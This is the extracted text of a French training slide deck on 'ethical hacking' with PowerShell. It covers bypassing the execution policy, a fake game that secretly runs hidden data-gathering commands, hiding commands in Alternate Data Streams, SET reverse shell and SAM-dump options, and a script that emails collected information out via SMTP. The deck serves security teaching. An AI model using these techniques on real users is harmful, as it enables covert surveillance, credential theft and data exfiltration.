HackPWS-ACISSI

publicité
Ethical
Hacker
Hacking
with
Powershell
J.RIDET
acissi
Ethical
Présentation powershell
Hacker
●
Scripting orienté objet (objets .NET), contrairement au Shell
●
Syntaxe au format {verbe}-{nom} (ex: get-command) aisée à assimiler
●
4 types de commandes
●
Cmdlets
●
Scripts (fichiers .ps1)
●
Programmes exécutables
●
Système de pipeline identique ( | ) au Shell
●
Auto-complétion des commandes
●
Possibilité d'interagir avec les applications Windows (ex: Active Directory)
J.RIDET
acissi
Ethical
Présentation powershell
Hacker
●
Scripting orienté objet (objets .NET), contrairement au Shell
●
Syntaxe au format {verbe}-{nom} (ex: get-command) aisée à assimiler
●
4 types de commandes
●
Cmdlets
●
Scripts (fichiers .ps1)
●
Programmes exécutables
●
Système de pipeline identique ( | ) au Shell
●
Auto-complétion des commandes
●
Possibilité d'interagir avec les applications Windows (ex: Active Directory)
J.RIDET
acissi
Ethical
Notion d'objet IIII
Hacker
Dans les langages de programmation orientée objet (POO), les objets sont les éléments
principaux avec lesquels on interagit
Un objet peut être vu comme un conteneur regroupant à la fois des informations et des
actions.
Les informations nous renseignent sur les caractéristiques propres à un objet,
Exemple le fichier : tutu.txt
date de création
taille
Fichier : tutu.txt
J.RIDET
Classer les objets selon leurs
caractéristiques propres, comme on
range des fichiers dans des dossiers
thématiques, on répertorie les objets
ayant les mêmes caractéristiques
dans une classe.
acissi
Ethical
Notion d'objet IIII
Hacker
Caractéristiques : Propriétés
Taille
Poids
Matériaux
Couleur
Ethical
Notion d'objet IIII
Hacker
Actions :
Poser
Mélanger
Écraser
Ethical
Notion d'objet IIII
Hacker
Informations : nom, taille, type ….
Fichier : tutu.txt
J.RIDET
Actions : Renseignent sur les capacités de
l'objet à effectuer des traitements.
acissi
Ethical
Manipuler un objet
Hacker
NomObjet.NomDeMembre
Nom de l'objet
.
Information
Ou
Action
Ethical
Hacker
Utilisation
du
Powershell
J.RIDET
acissi
Ethical
Utilisation de powershell IIII
Hacker
Nous pouvons lancer le powershell soit par
● l'invite de commande dédiée à powershell
● Le DOS puis appeler le powershell
Ethical
Utilisation de powershell IIII
Hacker
Nous pouvons lancer le powershell soit par
● l'invite de commande dédiée à powershell
● Le DOS puis appeler le powershell
Ethical
Utilisation de powershell IIII
Hacker
Nous pouvons lancer le powershell soit par
● l'invite de commande dédiée à powershell
● Le DOS puis appeler le powershell
Ethical
Utilisation de powershell IIII
Hacker
Il faut un accès physique à la machine,
La session doit être ouverte,
L'action est visible de l'utilisateur.
Ethical
Hacker
Problème
de
Droits
J.RIDET
acissi
Ethical
Problème de droit II
Hacker
La stratégie Restricted est la stratégie appliquée par défaut à
l'environnement Powershell. Cette dernière ne permet pas l'exécution de
scripts.
Set-ExecutionPolicy permet de changer la stratégie d'exécution.
Ethical
Problème de droit II
Hacker
Exemple :Si vous tapez
PS > Set-ExecutionPolicy Bypass
HKEY_LOCAL_Machine\SOFTWA
RE\Microsoft\Powershell\1\ShellIds\
Microsoft.Powershell\ExecutionPoli
cy
Ethical
Hacker
Outil
de
L'administrateur
J.RIDET
acissi
Ethical
Outil d'administration IIII
Hacker
Utilisation de powershell pour les fichiers et dossiers windows. Nous
allons faire la création d'un tableau pour accéder aux éléments de notre
ordinateur.
Création de la variable $jvar
fichier1 dossier1 fichier2 fichier3 dossier 2 ….
0
1
2
3
4
Get-member : Obtient les propriétés et méthodes des objets.
$jvar|Get-member : nous donne les propriétés de la
variable
Ethical
Outil d'administration IIII
Hacker
Le powershell intérêt dans une infrastructure d'entreprise.
- Création utilisateur, groupe, UO, ….
- En local ou à distance.
Ethical
Outil d'administration IIII
Hacker
Nous allons maintenant modifier le mot de passe des utilisateurs domaine.
Par défaut nous ne pouvons le faire, il faut ajouter l'Applet de commande
pour Active Directrory.
Import-Module ac*
Ethical
Outil d'administration IIII
Hacker
Il faut connaître les syntaxes et la notion d'objet,
Taper des lignes de codes ^_^
On peut avoir plein d'informations sur le système et les fichiers,
Permettre de faire de la programmation.
Ethical
Hacker
La
programmation ?
J.RIDET
acissi
Ethical
Application IIIII
Hacker
Nous allons faire la création d'une application 'un jeu' qui cachera en
réalité les commandes pour la récupération d'informations.
Il faut tout d'abord faire la création du jeu, ici Jackpot mais toutes
applications sont possibles (jeux, utilitaires….).
Ethical
Application IIIII
Hacker
Nous pouvons lancer le powershell soit par
● l'invite de commande dédiée à powershell
● Le DOS puis appeler le powershell
Shell "powershell.exe"
Shell "cscript.exe c:\monfichier'\monscript.ps1"
Shell "cscript.exe c:\monfichier'\monscript.ps1",vbhide
En te cachant de l'utilisateur
Ethical
Application IIIII
Hacker
Nous pouvons faire la récupération des informations du
système
Exemple : Récupération des paramètres de la carte réseau.
(création du fichier pour récupération)
Ethical
Application IIIII
Hacker
Ethical
Application IIIII
Hacker
Il faut connaître le langage de programmation,
Taper des lignes de codes ^_^
Il faut que l'utilisateur installe l'application,
Il faut avoir les droits sur la machine pour certaines lignes.
Le hacker doit pourvoir récupérer les informations sur la machine.
Ethical
Hacker
Détection
de
Flux cachés
J.RIDET
acissi
Ethical
Alternate Data Stream IIIIII
Hacker
ADS permet d'associer plus d'un flux de données à un nom de fichier en jouant sur le format de ce
dernier : "Nom_De_Fichier:Nom_De_Flux_Particulier" (Ex : Fic.txt:Zone.Identifier).
Ethical
Alternate Data Stream IIIIII
Hacker
Les ADS ont été créé dans le système Windows pour permettre une
compatibilité avec le système Macintosh (HFS).
Macintosh c'est le résultat de 2 composantes
Data fork
et
Ressource Fork
Ressources utilisées par une
application (interface graphique,
traduction...)
Code de l'application
Ajourd'hui les ADS permettent de fournir des informations
exemple sur les scripts powershell.
J.RIDET
acissi
Ethical
Alternate Data Stream IIIIII
Hacker
L'idée ici est de faire en sorte qu'un script récupéré ou envoyé
d'internet soit exécuté sur la machine car par défaut il y a des
restrictions. Un script récupéré d'internet avec internet explorer se
verra attribuer un alternate stream spécifiant sa provenance.
Value Setting ------------------------------ 0 My Computer 1 Local Intranet Zone 2 Trusted sites Zone 3 Internet Zone 4 Restricted Sites Zone
Ethical
Alternate Data Stream IIIIII
Hacker
Les informations sur la provenance du script est stocké dans
zone.identifier qui prend une valeur selon la provenance du script ainsi
que la sécurité d'internet explorer choisie.
Si l'on ajout des sites et serveurs de confiances cela va influer sur le
ZoneID.
Ethical
Alternate Data Stream IIIIII
Hacker
Alternate Data Stream IIIIII
Nous allons cacher une des commandes à exécuter dans un
fichier !
- Lister les processus en cours d'utilisation de la machine
- Remplir le fichier file2 avec les informations récupérées
Ethical
Hacker
Backdoor & SAM
In
Powershell
J.RIDET
acissi
Ethical
Backdoor & SAM IIIII
Hacker
# cd /usr/share/set
# ls
# setoolkit
J.RIDET
acissi
Ethical
Backdoor & SAM IIIII
Hacker
J.RIDET
acissi
Ethical
Backdoor & SAM IIIII
Hacker
J.RIDET
acissi
Ethical
Backdoor & SAM IIIII
Hacker
1. Powershell Shellcode Injector
2. Reverse Shell
3. Bind
4. DUMP SAM
J.RIDET
acissi
Ethical
Backdoor & SAM IIIII
Hacker
Set session 1
Set script /root/Desktop/powershell/myscript.ps1
exploit
J.RIDET
acissi
Ethical
Hacker
Récupération
Des
informations
J.RIDET
acissi
Ethical
Envoi des informations II
Hacker
$From = "[email protected]"
$To = "[email protected]"
$SMTPServer = "smtp.gmail.com"
$SMTPPort = "587"
$Username = "[email protected]"
$Password = "gmailpassword"
$subject = "Email Subject"
$body = "Insert body text here"
$smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer,
$SMTPPort);
$smtp.EnableSSL = $true
$smtp.Credentials = New-Object
System.Net.NetworkCredential($Username, $Password);
$smtp.Send($From,
J.RIDET
$To, $subject,acissi
$body);
Ethical
Envoi des informations II
Hacker
Depuis la version 3 de powershell la commande send-mailmessage
permet une utilisation plus simple d'envoi de mail.
QUESTION ?
Téléchargement